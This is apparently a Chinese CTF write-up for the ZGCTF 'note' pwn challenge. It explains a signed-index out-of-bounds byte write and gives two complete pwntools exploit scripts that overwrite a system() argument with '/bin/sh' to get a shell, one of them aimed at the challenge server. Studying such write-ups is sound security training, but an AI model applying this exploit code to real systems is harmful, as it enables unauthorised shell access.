ZGCTF_note

发布时间 2023-04-27 19:41:58作者: Sta8r9

这是一道很简单的的题,甚至都说不出来它有什么考点,如果非要说的话,可能需要对ida、gdb、栈不那么陌生吧。

查看保护

img

IDA静态分析

主函数是一个菜单,通过4008e3函数读入选项。

img

这个函数允许修改602120指定一字节的内容,并且只能执行两次。这是说正常情况下,仔细观察可以发现,v3为有符号整数,并且对于它的值也没有检查,也就是说我们可以利用这个漏洞更改任意位置的值。

img

说只能修改两次是因为这里存在一个计数器,在main函数的开头调用了400837把它赋值为1,也就是这个602150。img

这个函数允许向602120输入最大0x30个字节的内容

img

最后这个函数调用了system为我们打印了当前时间。

img

解题思路

先说一下我当时的解题思路,首先程序是不存在栈溢出的,而且开了canary,rop是不可能了。程序可以主动执行system函数,但是参数没什么用,由于存在一个函数可以让我任意修改bss段,就想到了先修改计数器,多次进行单字节修改,直到把system的data参数完全改为/bin/sh,再调用system去getshell。

EXP

from tools import *
p,elf,libc=load('note') 
context.log_level="debug"
#debug(p,0x04009F1)
#payload=b'9'#str(0x30).encode()=b'48'-->b'48\n'##b'0x30'-->b'0x30\n'##

#修改计数器,达到多次进行任意地址写的目的
p.sendlineafter("please tell me you options>>\n",str(2))
p.sendlineafter("please enter the location you want to modify\n",b'49')
p.sendafter("please enter what yo uare modifying\n",b'9')


#自定义一个函数,配合循环来一字节一字节地修改data为binsh
def atk(a,b):
    p.sendlineafter("please tell me you options>>\n",str(2))
    p.sendlineafter("please enter the location you want to modify\n",str(a))
    p.sendafter("please enter what yo uare modifying\n",str(b))
j="/bin/sh"; c=0;
i=-160 #这个160是602120和system参数的地址也就是602080之间的差值
while c<7:
    m=j[c]
    atk(i,m)
    c+=1
    i+=1
    
 #此时system函数参数已经被篡改,调用执行即可getshell。
p.sendlineafter("please tell me you options>>\n",str(4))
p.sendlineafter("Do you want to look at the time 1/yes 2/no\n",str(1))
p.interactive()

下面这个是我第一次的exp,循环和自定义都没使用,像个憨憨。贴上来纪念一下。

from tools import *
context(log_level="debug")
p=remote( "10.197.2.35",3010)
#p=process("./note")
#debug(p,0x400ACA)
#1
p.sendlineafter(b'please tell me you options>>\n',b'2')
p.sendlineafter(b'please enter the location you want to modify\n',b'49')
p.sendafter(b'please enter what yo uare modifying\n',b'9')
#2
p.sendlineafter(b'please tell me you options>>\n',b'2')
p.sendlineafter(b'please enter the location you want to modify\n',b'-160')
p.sendafter(b'please enter what yo uare modifying\n',b'/')

p.sendlineafter(b'please tell me you options>>\n',b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-159')
p.sendafter(b"please enter what yo uare modifying\n",b'b')

p.sendlineafter(b"please tell me you options>>\n",b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-158')
p.sendafter(b"please enter what yo uare modifying\n",b'i')

p.sendlineafter(b"please tell me you options>>\n",b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-157')
p.sendafter(b"please enter what yo uare modifying\n",b'n')

p.sendlineafter(b"please tell me you options>>\n",b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-156')
p.sendafter(b"please enter what yo uare modifying\n",b'/')

p.sendlineafter(b"please tell me you options>>\n",b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-155')
p.sendafter(b"please enter what yo uare modifying\n",b's')

p.sendlineafter(b"please tell me you options>>\n",b'2')
p.sendlineafter(b"please enter the location you want to modify\n",b'-154')
p.sendafter(b"please enter what yo uare modifying\n",b'h')

p.sendlineafter(b"please tell me you options>>\n",b'4')
p.sendlineafter(b"Do you want to look at the time 1/yes 2/no\n",b'1')

p.interactive()         


官方WP还提到一种解法是篡改close函数got表,都是函数参数。明显是要比上面的方法复杂的。

题目附件

链接:https://pan.baidu.com/s/1MboEdt1y3_zBKbeN5_yXoQ
提取码:1234